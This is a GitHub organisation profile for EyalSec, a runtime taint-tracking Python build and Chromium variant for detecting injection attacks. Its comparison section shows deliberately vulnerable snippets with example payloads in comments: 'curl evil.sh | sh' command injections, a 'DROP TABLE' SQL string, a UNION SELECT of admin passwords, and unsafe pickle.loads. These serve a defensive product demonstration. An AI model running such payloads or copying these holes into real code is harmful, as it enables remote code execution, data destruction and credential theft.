Skip to content
@EyalSec

EyalSec

A secure Python that detects and blocks injection attacks as your code runs.

EyalSec - a secure Python

EyalSec

The Python you already run, watching for attacks as your code executes.

Website Docs

EyalSec is a security-hardened build of Python, es-python. You install it next to your normal Python and run your existing programs and libraries through it unchanged. As your code runs, EyalSec watches for untrusted data reaching a risky action, and either reports it to your dashboard or blocks it before it runs.

That untrusted-data-reaches-a-sink pattern is how most real-world attacks work: SQL injection, command injection, path traversal, and insecure deserialization. EyalSec has already flagged two critical CVEs in Django.

How it works

  • Source - where untrusted data enters: a network socket, a file, standard input, environment variables and command-line arguments, or code another user can write.
  • Sink - a risky action it flows into: running a system command, opening a file, running a database query, or deserializing data.
  • Report, or Report and Raise - chosen per machine. Report logs the event to your dashboard and lets the program continue. Report and Raise does both: it logs the event and stops the risky action before it runs, so an attack is blocked, not just recorded.

Your source code and files never leave the machine. Only the detection event is sent to your dashboard: the sink that fired, the stack trace, where the data came from, and the data that triggered it.

What it covers

Detection runs inside your program as it executes rather than beside it: 173 sink call sites, each watching one dangerous operation.

That covers SQL injection, command and argument injection, path traversal, zip and tar extraction escapes, insecure deserialization, server-side code injection, SSRF, CRLF header injection, log forging, template injection, XXE, XPath and LDAP filter injection, NoSQL injection, weak hashes and KDFs, timing-unsafe comparison, predictable tokens, and hardcoded credentials reported at the point they leave the process.

It covers the drivers and libraries real applications use, not just the standard library. EyalSec ships instrumented builds of psycopg2, psycopg v3, mysqlclient, mariadb, oracledb and python-ldap, each with the sink on the statement string. On top of that, 42 third-party libraries are covered by declarative adapters: Django, Jinja2, SQLAlchemy, PyMongo, Redis, Neo4j, asyncpg, PyJWT, PyYAML, Paramiko and more. When an upstream release renames a method out from under an adapter, the coverage miss is reported to your dashboard rather than silently dropped.

Why it does not drown you in false positives

The reason security tools go unused is not that they miss things. It is that they report too much.

  • A sink fires on the statement, never on a bound parameter. Correctly parameterized code stays silent no matter how hostile the value is.
  • EyalSec knows what a sanitizer fixed, and for which sink. Escaping is not global: urlencode neutralizes a URL context and does nothing for SQL, and the engine grades it that way rather than suppressing a real finding or reporting one that was already fixed.
  • A detection means the data actually arrived. Not that a code path exists, and not that a pattern matched.

Where a detector cannot be certain, it says so instead of overclaiming. LDAP is the clearest case: the protocol has no bind-parameter mechanism, so even correctly escaped input is still spliced into the filter string. That event reports "attacker data reached the LDAP filter", not "injection proven".

What EyalSec can find that others can't

Other tools read your source and guess, watch the network edge, or restrict syscalls. EyalSec is the interpreter, so it follows untrusted data all the way to the dangerous call, on every code path, whether or not an HTTP request, a scanner, or a crash ever exposes it. Here is where each class of tool falls short, with a Python example EyalSec catches and they don't.

Category What they do Where they fall short EyalSec's edge
RASP Hook the app to match request payloads against dangerous calls Loses the input once it's split, sliced, or rejoined Follows the taint through every string transform to the sink
WAF / edge Pattern-match malicious HTTP at the network boundary Injection that never rides HTTP, a file or queue feed Taints every input channel, not just the HTTP edge
SAST Statically scan source for risky patterns Which flagged path is really exploitable Fires only when live taint hits a sink
DAST / fuzzing Probe a running app from outside / fuzz inputs Sinks on branches it never reaches Taint-guided fuzzing hits every branch
SCA / dependency Flag known-CVE dependencies Unknown vulns; whether the CVE is truly hit Confirms attacker data reaches the CVE
Sandboxing / isolation Restrict syscalls / isolate the process App-level injection (sees only syscalls) Tracks app-level taint to the sink
EDR / runtime threat Detect malicious behavior at the OS/host level The exploit before it fires Flags tainted data before the call

RASP

RASP inspects the request, but not what the app does to it next:

msg = sock.recv(4096).decode()      # request body -> tainted
arg = " ".join(msg.split()[1:])     # split, slice, rejoin -> still tainted
# attacker sends:  ping x; curl evil.sh | sh
os.system("traceroute " + arg)      # SINK -> es-python raises

Why RASP misses: RASP flags a call only when its argument still matches a payload it logged from the request. The app splits, slices, and rejoins that input first, so the bytes reaching os.system match nothing RASP saw. es-python taints the data itself, so the mark rides through every transform to the sink.

WAF / edge

A CSV dropped by an SFTP partner feed never crosses the edge:

row = open("/inbox/orders.csv").readline()   # file bytes -> tainted; the WAF never saw them
# attacker planted a row:  '; DROP TABLE users; --
db.execute("SELECT * FROM t WHERE id='" + row + "'")   # SINK -> es-python raises

Why WAF / edge misses: the record arrives as a file from a batch drop, never over HTTP, so the edge has no packet to inspect. es-python taints every input channel, files included, so the bytes stay marked all the way to the SQL sink.

SAST

The sink is chosen by a runtime key, so static dataflow loses it:

ACTIONS = {"copy": shutil.copy, "run": os.system, "stat": os.stat}
name, arg = sock.recv(4096).decode().split(":", 1)   # socket -> tainted
# attacker sends:  run:reboot; curl evil | sh
ACTIONS[name](arg)         # callable resolved at runtime -> SINK -> es-python raises

Why SAST misses: which callable ACTIONS[name] resolves to is a runtime value; a static engine can't prove the tainted arg reaches os.system. es-python sees the actual call.

DAST / fuzzing

A successful SQL injection that never crashes:

expr = sock.recv(4096).decode()   # socket -> tainted
# expr = 1=1 UNION SELECT password FROM admins
db.execute("SELECT * FROM logs WHERE " + expr)   # returns rows, exits 0 -> SINK

Why DAST / fuzzing misses: the query runs cleanly and returns rows, zero crash signal for a coverage fuzzer, which records a "pass". es-python flags the injection semantically, no crash required.

SCA / dependency

Your own deserialization bug, which no third-party advisory describes:

cookie = sock.recv(4096)   # cookie arrives over the wire -> tainted
pickle.loads(cookie)   # SINK -> es-python raises

Why SCA / dependency misses: SCA matches your lockfile against a CVE database. A deserialization bug you wrote yourself is in no advisory feed, so it stays silent. es-python catches the live tainted-bytes to pickle.loads flow.

Sandboxing / isolation

The sandbox must permit execve for the legitimate dump, which lets the injected command through too:

subprocess.run(["/usr/bin/pg_dump", "mydb"])       # legitimate, must be allowed
name = sock.recv(4096).decode()   # socket -> tainted
subprocess.run("tar czf /tmp/" + name + ".tgz /data", shell=True)   # SINK

Why Sandboxing / isolation misses: seccomp/gVisor decide per syscall; to allow pg_dump they must permit execve, which lets the injected tar; ... through too. es-python gates only the tainted exec and leaves the clean one alone.

EDR / runtime threat

es-python raises before any payload executes:

blob = sock.recv(65536)    # socket -> tainted
pickle.loads(blob)  # SINK -> raises before the gadget detonates

Why EDR / runtime threat misses: EDR detects malicious behavior after the fact, a spawned shell or a beacon. es-python raises before the pickle gadget runs, so there is no behavior left for the EDR to observe.

The same idea in the browser: es-chromium

The pattern above is not specific to Python. es-chromium is a browser that carries the same tracking as you browse, so that data an attacker can influence, arriving from the URL, from postMessage, from a cookie or from web storage, is followed until it reaches a DOM sink such as innerHTML, eval or a script src. The tracking is part of the browser itself; nothing is injected into the page, no extension is installed, and nothing is asked of the site.

The difference from a scanner is the same difference. A scanner guesses at which sinks are reachable, without the third party widgets loaded and without the state a previous visit left behind. es-chromium is the browser, so it reports a flow that actually happened, with the payload attached and the attacker controlled characters marked inside it.

See it on a real page: vulnerable-javascript, a deliberately vulnerable dashboard hosted at a live origin, where 21 flows across 8 sources and 18 sinks are each reachable from a single URL.

Install

Sign in, add a machine on your dashboard, and run the one-line installer it gives you. es-python installs next to your normal Python; then run your program through it, no code changes. Full guide: eyalsec.com/docs.

Questions

How is it different from a static scanner or linter? A static scanner reads your source and guesses at possible bugs before it runs. EyalSec watches real execution and only reports untrusted data that actually reaches a risky action, so it finds real, exploitable issues with far fewer false positives.

Do I have to change my code? No. es-python runs your existing code, frameworks, and packages exactly as they run today.

Does it work with Django, Flask, and my libraries? Yes. Your frameworks and packages run unchanged.

Does it send my code anywhere? No. Your source and files stay on the machine; only the detection event posts to your dashboard.

Explore

  • Website - what EyalSec does and how it installs
  • Documentation - install, run, read events, configure rules
  • Pricing - size machines and monthly events for a price
  • Security - the security model; your code stays on your machine

Repositories

  • es-python - the runtime: what it catches, how it installs, and how it differs from a scanner
  • vulnerable-python - a deliberately vulnerable Flask app where each endpoint wires one taint source into one sink. Run the same unchanged file under your normal Python and it is a normal exploitable app; run it under es-python and every attack that reaches a sink is reported. The fastest way to see the difference yourself.
  • es-chromium - the browser: it tracks taint as you browse and reports DOM-XSS as a flow rather than as a guess
  • vulnerable-javascript - a deliberately vulnerable retail dashboard, live at a real origin, built as the demonstration target for es-chromium. Every flaw sits inside a feature that has a reason to exist, and every flow is reachable from one URL.

Python is a trademark of the Python Software Foundation. EyalSec is not affiliated with or endorsed by the PSF.

Popular repositories Loading

  1. EyalSec_CVE EyalSec_CVE Public

    4

  2. es-chromium es-chromium Public

    es-chromium: a Chromium build that tracks attacker-controlled data through V8 and Blink and reports DOM-XSS as a flow, not a guess. The browser agent behind EyalSec.

    3

  3. .github .github Public

    EyalSec org profile

    1

  4. es-python es-python Public

    A security-hardened build of Python that detects and blocks injection attacks as your code runs.

    1

  5. vulnerable-javascript vulnerable-javascript Public

    Intentionally vulnerable single-page dashboard demonstrating es-chromium DOM-XSS taint tracking - 21 flows across 8 sources and 18 sinks, each reachable from one URL. Demo target only.

    JavaScript 1

  6. vulnerable-python vulnerable-python Public

    Intentionally vulnerable Python app demonstrating EyalSec runtime taint tracking - one endpoint per source-to-sink vulnerability. Isolated lab use only.

    Python

Repositories

Showing 6 of 6 repositories

People

This organization has no public members. You must be a member to see who’s a part of this organization.

Top languages

Loading…

Most used topics

Loading…